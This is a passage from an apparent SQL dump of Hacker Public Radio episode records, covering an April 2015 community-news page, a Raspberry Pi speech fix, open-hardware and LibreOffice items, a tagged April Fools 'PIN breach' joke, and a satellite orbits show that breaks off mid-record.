align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1755\" target=\"_blank\">1755</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-04-24</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1755\" target=\"_blank\">52 - LibreOffice Impress - Moving Around</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1756\" target=\"_blank\">1756</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-04-27</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1756\" target=\"_blank\">Ranger File Manager</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1757\" target=\"_blank\">1757</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-04-28</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1757\" target=\"_blank\">Useful Bash functions</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1758\" target=\"_blank\">1758</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-04-29</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1758\" target=\"_blank\">Cool Stuff part 3</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\" target=\"_blank\">Curtis Adkins (CPrompt^)</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1759\" target=\"_blank\">1759</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-04-30</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1759\" target=\"_blank\">A brief review of Firefox OS</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=302\" target=\"_blank\">Stilvoid</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>\nThe main threads this month were:\n</p>\n<ol>\n    <li><em>From:</em> James Toebes &lt;james@...&gt;<br/>\n        <em>Date:</em> 2015-04-01 09:58:54 -0400<br/>\n        <em>Subject:</em> hpr1738 :: Credit Card PIN breach - THANK YOU HPR!<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/801\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/801</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Mike Ray &lt;mike@...&gt;<br/>\n        <em>Date:</em> 2015-04-02 11:07:50 +0100<br/>\n        <em>Subject:</em> Site links<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/802\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/802</a><br/>\n        <em>Messages:</em> 4<br/><br/></li>\n    <li><em>From:</em> Mike Ray &lt;mike@...&gt;<br/>\n        <em>Date:</em> 2015-04-02 23:16:34 +0100<br/>\n        <em>Subject:</em> Off-topic: LibreOffice Calc questions<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/804\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/804</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Jon Kulp &lt;jonlancekulp@...&gt;<br/>\n        <em>Date:</em> 2015-04-02 20:16:51 -0500<br/>\n        <em>Subject:</em> HPR Email Bot malfunctioning?<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/807\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/807</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> David Whitman &lt;davidglennwhitman@...&gt;<br/>\n        <em>Date:</em> 2015-04-04 12:08:23 -0700<br/>\n        <em>Subject:</em> Please reserve July 8 for davidWHITMAN<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/812\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/812</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Fifty OneFifty &lt;fiftyonefifty@...&gt;<br/>\n        <em>Date:</em> 2015-04-04 14:56:04 -0500<br/>\n        <em>Subject:</em> Who needs the Zoom H1 interview recorder next?<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/813\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/813</a><br/>\n        <em>Messages:</em> 4<br/><br/></li>\n    <li><em>From:</em> Jon Kulp &lt;jonlancekulp@...&gt;<br/>\n        <em>Date:</em> 2015-04-04 15:29:32 -0500<br/>\n        <em>Subject:</em> Screencast: putting embedded audio into the ebooks<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/817\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/817</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Jonathan Kulp &lt;jonlancekulp@...&gt;<br/>\n        <em>Date:</em> 2015-04-07 10:08:48 -0500<br/>\n        <em>Subject:</em> Reserve May 11?<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/820\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/820</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Mike Ray &lt;mike@...&gt;<br/>\n        <em>Date:</em> 2015-04-08 22:59:32 +0100<br/>\n        <em>Subject:</em> LibreOffice Font Question<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/821\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/821</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Mike Ray &lt;mike@...&gt;<br/>\n        <em>Date:</em> 2015-04-14 23:03:39 +0100<br/>\n        <em>Subject:</em> archive.org API?<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/824\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/824</a><br/>\n        <em>Messages:</em> 6<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-04-16 20:04:21 +0200<br/>\n        <em>Subject:</em> Disabling CSS on HPR for some tests<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/830\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/830</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-04-24 13:31:56 +0200<br/>\n        <em>Subject:</em> FTP Password has been Changed<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/833\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/833</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2015-04-28 21:52:55 +0100<br/>\n        <em>Subject:</em> HPR Community News - next Saturday on 2015-05-02T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/834\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/834</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-04-29 09:50:05 +0200<br/>\n        <em>Subject:</em> Re: Hack in the Box Amsterdam security conference<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/835\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/835</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n</ol>\n<p>\nTotal messages this month: 35\n</p>\n\n<h2>Comments this month</h2>\n\n<p>There are 24 comments:</p>\n<ul> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1726#comments\" target=\"_blank\">hpr1726</a></strong>\n(2015-03-16) \"<em>15 Excuses not to Record a show for HPR</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">Knightwise</a>.\n<ul>    <li><a href=\"https://hackerpublicradio.org/eps.php?id=1726#3\" target=\"_blank\">Comment 3</a>:\nAndres on 2015-04-06:\n\"I uploaded one as a result of this\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1732#comments\" target=\"_blank\">hpr1732</a></strong>\n(2015-03-24) \"<em>Renovating another Public-Domain Counterpoint Textbook</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1732#2\" target=\"_blank\">Comment 2</a>:\nRobert Stackhouse on 2015-03-31:\n\"Slashes\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1732#3\" target=\"_blank\">Comment 3</a>:\nJonathan Kulp on 2015-04-05:\n\"How do I do this? Watch this screen capture and see\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1738#comments\" target=\"_blank\">hpr1738</a></strong>\n(2015-04-01) \"<em>Credit Card PIN breach</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1738#1\" target=\"_blank\">Comment 1</a>:\nJimZat on 2015-04-01:\n\"Enlightening!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1741#comments\" target=\"_blank\">hpr1741</a></strong>\n(2015-04-06) \"<em>HPR Community News for March 2015</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1741#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2015-04-06:\n\"Pearls before swine\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1749#comments\" target=\"_blank\">hpr1749</a></strong>\n(2015-04-16) \"<em>Scale 13x Part 6 of 6</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=24\" target=\"_blank\">Lord Drachenblut</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1749#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2015-04-16:\n\"inspirational!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1750#comments\" target=\"_blank\">hpr1750</a></strong>\n(2015-04-17) \"<em>xclip, xdotool, xvkbd: 3 CLI Linux tools for RSI sufferers</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1750#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2015-04-17:\n\"Correction/Improvement\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1750#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-04-21:\n\"Fascinating stuff\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1750#3\" target=\"_blank\">Comment 3</a>:\nMike Ray on 2015-04-21:\n\"Terrific podcast\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1750#4\" target=\"_blank\">Comment 4</a>:\nJon Kulp on 2015-04-21:\n\"Thanks Mike; Response to Dave\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1750#5\" target=\"_blank\">Comment 5</a>:\nJon Kulp on 2015-04-22:\n\"Mike: ping me for help\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1750#6\" target=\"_blank\">Comment 6</a>:\nMike Ray on 2015-04-23:\n\"Blather and xvkbd as shortcuts in Debian\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1754#comments\" target=\"_blank\">hpr1754</a></strong>\n(2015-04-23) \"<em>D7? Why Seven?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1754#1\" target=\"_blank\">Comment 1</a>:\nFiftyOneFifty on 2015-04-10:\n\"Disapointed\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1754#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp  on 2015-04-22:\n\"confused\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1754#3\" target=\"_blank\">Comment 3</a>:\nthelovebug on 2015-04-28:\n\"Dmaj7\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1756#comments\" target=\"_blank\">hpr1756</a></strong>\n(2015-04-27) \"<em>Ranger File Manager</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1756#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2015-04-28:\n\"Ranger is phenomenal\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1757#comments\" target=\"_blank\">hpr1757</a></strong>\n(2015-04-28) \"<em>Useful Bash functions</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1757#1\" target=\"_blank\">Comment 1</a>:\nBill Ricker on 2015-04-28:\n\"epub\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1757#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-04-28:\n\"Re: epub\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1757#3\" target=\"_blank\">Comment 3</a>:\n0xf10e on 2015-04-28:\n\"exitcodes\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1757#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2015-04-28:\n\"Re: exitcodes\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1758#comments\" target=\"_blank\">hpr1758</a></strong>\n(2015-04-29) \"<em>Cool Stuff part 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\" target=\"_blank\">Curtis Adkins (CPrompt^)</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1758#1\" target=\"_blank\">Comment 1</a>:\nFiftyOneFifty on 2015-04-15:\n\"KITT\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1758#2\" target=\"_blank\">Comment 2</a>:\n0xf10e on 2015-04-29:\n\"VCS!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1758#3\" target=\"_blank\">Comment 3</a>:\nCprompt^ on 2015-04-29:\n\"Re: VCS\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1759#comments\" target=\"_blank\">hpr1759</a></strong>\n(2015-04-30) \"<em>A brief review of Firefox OS</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=302\" target=\"_blank\">Stilvoid</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1759#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp  on 2015-04-30:\n\"Welcome Aboard \"</li></ul>\n</li>\n</ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1653,'2014-12-03','Ruth Suehle at Ohio Linux Fest 2014',2779,'Ruth Suehle reminds us all that hardware needs to be open too.','<p>\r\nRuth Suehle gave the next-to-last keynote at Ohio LinuxFest 2014 on 2014-10-25. In this talk she discusses the significance of open hardware and maker culture, and how this is something we all should participate in. Maker culture is an essential part of the free and open culture we belive in when we talk about open source. And we need to be vigilant to protect our values in the hardware space. As an example she tells us about Bre Pettis and Makerbot, which at one time were very open, but have turned aginst this value as they became more successful. In the final analysis, it is up to us to protect open hardware by voting with our dollars/euros/whatever.\r\n</p>',198,0,0,'CC-BY-SA','Open Hardware, Open Source, Open Specifications',0,0,1),
(1735,'2015-03-27','Free tutorials for teachers',897,'Professor Bernard Poole makes free tutorials available aimed at teachers','<p>\r\nI have received a very generous offer from Bernard J. Poole, a professor at the University of Pittsburgh. He has a series of LibreOffice Tutorials and has asked me to publicize that they are available free of charge to all of our LibreOffice fans on Hacker Public Radio. You can find his tutorials on his web site at <a href=\"https://www.pitt.edu/~poole/\">https://www.pitt.edu/~poole/</a>. He is particularly aiming his tutorials at educators who might use LibreOffice in the classroom\r\n</p>',198,70,1,'CC-BY-SA','Teachers, tutorials',0,0,1),
(1649,'2014-11-27','Raspberry Pi Accessibility Breakthrough',1036,'How I fixed the stuttering text-to-speech on a Raspberry Pi','<p>\r\nSince April last year the text-to-speech using eSpeak in the Raspberry Pi\r\nconsole has stuttered very badly and regularly crashes the kernel.\r\n</p>\r\n<p>\r\nHere\'s how I fixed it.\r\n</p>\r\n<p>\r\nCloning my github repo:\r\n</p>\r\n<pre>\r\ngit clone <a href=\"https://github.com/cromarty/ttsprojects.git\">https://github.com/cromarty/ttsprojects.git</a>\r\n</pre>\r\n<p>\r\nInstallation:\r\n</p>\r\n<pre>\r\ncd ttsprojects/raspberry-pi/libilctts/build\r\nsudo ./build.sh\r\ncd ../../piespeakup\r\nsudo ./build.sh\r\n</pre>\r\n<p>\r\nBingo!  Speech should work.\r\n</p>\r\n<p>\r\nThis has only just been released and there is still work to do on the\r\ndocumentation.\r\n</p>\r\n<p>\r\nNote: I am not connected to the Raspberry Pi Foundation in any way\r\nand anything I say or do is not endorsed by them.\r\n</p>\r\n<p>\r\nMy email address is connected with a Freelists email list I set up and\r\nan accompanying web site:\r\n</p>\r\n<p>\r\n<a href=\"https://www.raspberryvi.org/\">https://www.raspberryvi.org/</a>\r\n</p>\r\n<p>\r\nThe \'VI\' is for \'Visually Impaired\' and I DID check with the\r\nFoundation about the similarity of the web address before I created it.\r\n</p>\r\n<p>\r\nTo join our email list send an email to:\r\n</p>\r\n<p>\r\n<a href=\"mailto:raspberry-vi-request@freelists.org\">raspberry-vi-request@freelists.org</a>\r\n</p>\r\n<p>\r\nWith \'subscribe\' in the subject.\r\n</p>\r\n<p>\r\nMike\r\n</p>',282,0,1,'CC-BY-SA','Raspberry Pi, Accessibility, console, speakup, kernel oops, fixed',0,0,1),
(1738,'2015-04-01','Credit Card PIN breach',5240,'We expose a well known but ignored security breach','\r\n<h2>Spoiler</h2>\r\n<p>Your passwords are as secure as they ever were</p>\r\n<p>\r\nOn September the 10th, 2012 an anonymous malicious hacker released 10,000 pin codes onto the site paste bin dot com. How the attacker gained access to the codes is not known, but it is thought that it may be linked to a breach that occurred at the end of March 2012 to the Credit card processor Global Payments. That attack exposed 1.5 million consumers financial data. These codes have been confirmed by security experts to be legitimate and in wide spread use even today. Despite this exposure been \"common knowledge\" among the security community, major banks and credit card companies have yet to issue any statement on the breach.\r\n</p>\r\n<p>\r\nTired of waiting for action by big business, we bring you a list of the codes so you can check for yourself if your data is compromised.\r\n</p>',109,83,0,'CC-BY-SA','April fools, credit card pin, security',0,0,1),
(2000,'2016-04-01','How to Point a Satellite Dish',3958,'After 10 years, 3 months, 19 days of Procrastination, Ken finally delivers droops a show','\r\n<h2>Spoiler</h2>\r\n<p>Ken did not fall of the roof in a storm</p>\r\n\r\n<p>This show is dedicated to <strong>Procrastination</strong>, <em>the avoidance of doing a task which needs to be accomplished</em>.</p>\r\n<p>I\'ve been trying to record this particular show for ages but I can never seem to finish it. I find the topic just too interesting. When I start then I get distracted by some other aspect. Every time I try to record it Murphy gets in the way, with lost recordings and broken cards etc. This is the email that prompted this show.</p>\r\n<pre><code>-------- Forwarded Message --------\r\nSubject: TWAT - Satellite communications\r\nDate: Tue, 13 Dec 2005 12:00:54 +0100\r\n\r\nHi Droops,\r\n\r\nI heard your call for content and I\'d like to send you some shows. I\r\ndon\'t have a lot of spare time with work and a young family so I can\'t\r\ndo a regular show but I can send you a series on a topic. I was\r\nthinking of doing a series on Satellite Communications.\r\n...\r\nKen\r\n</code></pre>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Murphy%27s_law\">https://en.wikipedia.org/wiki/Murphy%27s_law</a></p>\r\n<p>So after eleven years, I set the deadline of episode 2000 to force myself to finish this show.</p>\r\n<p>Let\'s start.</p>\r\n<h1>What are orbits ?</h1>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Orbit\">https://en.wikipedia.org/wiki/Orbit</a></p>\r\n<p>In physics, an orbit is the gravitationally curved path of an object about a point in space, for example the orbit of a planet about a star or a natural satellite around a planet. Orbits of planets are typically elliptical, and the central mass being orbited is at a focal point of the ellipse.</p>\r\n<p>Newton\'s cannonball was a thought experiment Isaac Newton used to hypothesize that the force of gravity was universal, and it was the key force for planetary motion. It appeared in his book A Treatise of the System of the World.</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Newton%27s_cannonball\">https://en.wikipedia.org/wiki/Newton%27s_cannonball</a></p>\r\n<p><a href=\"https://upload.wikimedia.org/wikipedia/commons/7/73/Newton_Cannon.svg\">https://upload.wikimedia.org/wikipedia/commons/7/73/Newton_Cannon.svg</a></p>\r\n<p><a href=\"https://upload.wikimedia.org/wikipedia/commons/7/73/Newton_Cannon.svg\"><img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/7/73/Newton_Cannon.svg/240px-Newton_Cannon.svg.png\"/></a></p>\r\n<ul>\r\n<li>No orbit</li>\r\n<li>Suborbital trajectories, trajectory intersects the atmosphere so that it does not complete one orbital revolution.</li>\r\n<li>Orbital trajectories (or simply \"orbits\")</li>\r\n<li>Open (or escape) trajectories</li>\r\n</ul>\r\n<p>It is worth noting that orbital rockets are launched vertically at first to lift the rocket above the atmosphere (which causes frictional drag), and then slowly pitch over and finish firing the rocket engine parallel to the atmosphere to achieve orbit speed.</p>\r\n<p>Once in orbit, their speed keeps them in orbit above the atmosphere. If e.g., an elliptical orbit dips into dense air, the object will lose speed and re-enter (i.e. fall). Occasionally a space craft will intentionally intercept the atmosphere, in an act commonly referred to as an aerobraking maneuver.</p>\r\n<h1>Types of orbits</h1>\r\n<p>There are many ways to classify orbits </p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/List_of_orbits\">https://en.wikipedia.org/wiki/List_of_orbits</a></p>\r\n<p>The choice of which orbit to use is based on the intended purpose of the satellite. </p>\r\n<ul>\r\n<li>Centric classifications: Based on what they orbit</li>\r\n<li>Altitude classifications: Based on how high they are</li>\r\n<li>Inclination classifications: Based on the angle of rotation with respect to the Equator. </li>\r\n<li>Eccentricity classifications: Based on their path</li>\r\n<li>Synchronicity classifications: Based on how often they rotate</li>\r\n</ul>\r\n<h2>Low Earth orbit (LEO)</h2>\r\n<p>0 to 2,000 km (0–1,240 miles).</p>\r\n<ul>\r\n<li>0 km / mi - Sea Level.</li>\r\n<li>37.6 km / 23.4 mi - Self Propelled Jet Aircraft Flight Ceiling (Record Set in 1977).</li>\r\n<li>215 km / 133.6 mi - Sputnik-1 The first artificial satellite of earth.</li>\r\n<li>340 km / 211.3 mi - International Space Station.</li>\r\n<li>390 km / 242.3 mi - Former Russian Space Station MIR.</li>\r\n<li>595 km / 369.7 mi - Hubble Space Telescope.</li>\r\n<li>600 - 800 km / 372.8 - 497.1 mi - Sun-synchronous Satellites.</li>\r\n</ul>\r\n<p>These satellites orbit the Earth in near exact polar orbits north to south. They cross the equator multiple times per day and each time they are at the same anglewith respect to the sun. Satellites on these types of orbits are particularly useful for capturing images of the Earth’s surface or images of the sun</p>\r\n<h2>Medium Earth orbit (MEO)</h2>\r\n<p>Geocentric orbits ranging in altitude from 2,000 km (1,240 miles) to just below geosynchronous orbit at 35,786 kilometers (22,236 mi). </p>\r\n<p>GPS (Global Positioning System) Satellites reside here. These Satellites are on a Semi-synchronous Orbit (SSO) meaning that they orbit the earth in exactly 12 hours (twice per day)</p>\r\n<h2>Geosynchronous orbit (GSO) and Geostationary orbit (GEO)</h2>\r\n<p>Orbits around Earth matching Earth\'s sidereal rotation period. 42,164 km (26,199 mi). Sidereal time is a \"time scale that is based on the Earth\'s rate of rotation measured relative to the fixed stars\" rather than the Sun.\r\n<a href=\"https://en.wikipedia.org/wiki/Sidereal_time\">https://en.wikipedia.org/wiki/Sidereal_time</a></p>\r\n<p>Geosynchronous satellites orbit the Earth at the same rate that the Earth rotates. Thus they remain stationary over a single line of longitude. A geostationary satellite will remain in a fixed location as observed from the surface of the earth, allowing a satellite dish to be alligned to it.</p>\r\n<p><a href=\"https://upload.wikimedia.org/wikipedia/commons/5/50/Geostationaryjava3D.gif\"><img alt=\"File:Geostationaryjava3D.gif\" src=\"https://upload.wikimedia.org/wikipedia/commons/5/50/Geostationaryjava3D.gif\" width=\"220\" height=\"220\" data-file-width=\"220\" data-file-height=\"220\"/></a></p>\r\n<h2>High Earth orbit</h2>\r\n<p>Geocentric orbits above the altitude of geosynchronous orbit 35,786 km (22,240 miles).</p>\r\n<h2>Polar orbits</h2>\r\n<p>They are often used for earth-mapping, earth observation, capturing the earth as time passes from one point, reconnaissance satellites, as well as for some weather satellites. The Iridium satellite constellation also uses a polar orbit to provide telecommunications services. The disadvantage to this orbit is that no one spot on the Earth\'s surface can be sensed continuously from a satellite in a polar orbit.</p>\r\n<h2>Molniya orbit</h2>\r\n<p>Orbita was a system that consisted of 3 highly elliptical Molniya satellites, Moscow-based ground uplink facilities and about 20 downlink stations, located in cities and towns of remote regions of Siberia and Far East. Each station had a 12-meter receiving parabolic antenna and transmitters for re-broadcasting TV signal to local householders.</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Molniya_orbit\">https://en.wikipedia.org/wiki/Molniya_orbit</a></p>\r\n<p><a href=\"https://upload.wikimedia.org/wikipedia/commons/8/82/Orbitalaltitudes.jpg\"><img src =\"https://upload.wikimedia.org/wikipedia/commons/thumb/8/82/Orbitalaltitudes.jpg/700px-Orbitalaltitudes.jpg\" alt=\"A perfectly scaled diagram showing the orbital altitudes of several significant satellites of earth. all planets and orbital distances are drawn to scale and the altitude data was collected from many Wikipedia articles and various other sites.\"/></a></p>\r\n<p><a href=\"https://upload.wikimedia.org/wikipedia/commons/8/82/Orbitalaltitudes.jpg\">https://upload.wikimedia.org/wikipedia/commons/8/82/Orbitalaltitudes.jpg</a></p>\r\n<h3>Atmospheric electromagnetic opacity</h3>\r\n<p><a href=\"https://upload.wikimedia.org/wikipedia/commons/3/34/Atmospheric_electromagnetic_opacity.svg\" ><img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/3/34/Atmospheric_electromagnetic_opacity.svg/800px-Atmospheric_electromagnetic_opacity.svg.png\" alt=\"Atmospheric electromagnetic opacity\"/></a></p>\r\n<h1>Satelites</h1>\r\n<h2>Sputnik 1</h2>\r\n<p>https://en.wikipedia.org/wiki/Sputnik_1</p>\r\n<p>Sputnik 1 was the first artificial Earth satellite. The Soviet Union launched it into an elliptical low Earth orbit on October 4, 1957. It was a 58 cm (23 in) diameter polished metal sphere, with four external radio antennae to broadcast radio pulses. It was visible all around the Earth and its radio pulses were detectable. This surprise success precipitated the American Sputnik crisis and triggered the Space Race, a part of the larger Cold War. The launch ushered in new political, military, technological, and scientific developments.</p>\r\n<h2>ProtoStar II Mission Overview</h2>\r\n<p><a href=\"https://www.ilslaunch.com/sites/default/files/pdf/A2G_MO.pdf\">https://www.ilslaunch.com/sites/default/files/pdf/A2G_MO.pdf</a></p>\r\n<h3>ASTRA 2G SATELLITE MISSION</h3>\r\n<p>ASTRA 2G is the third spacecraft of a three satellite investment programme (ASTRA 2E, 2F and 2G) that SES contracted with Airbus Defence and Space in order to provide replacement as well as incremental satellite capacity in the orbital arc of 28.2/28.5 degrees East. </p>\r\n<p>ASTRA 2G carries 62 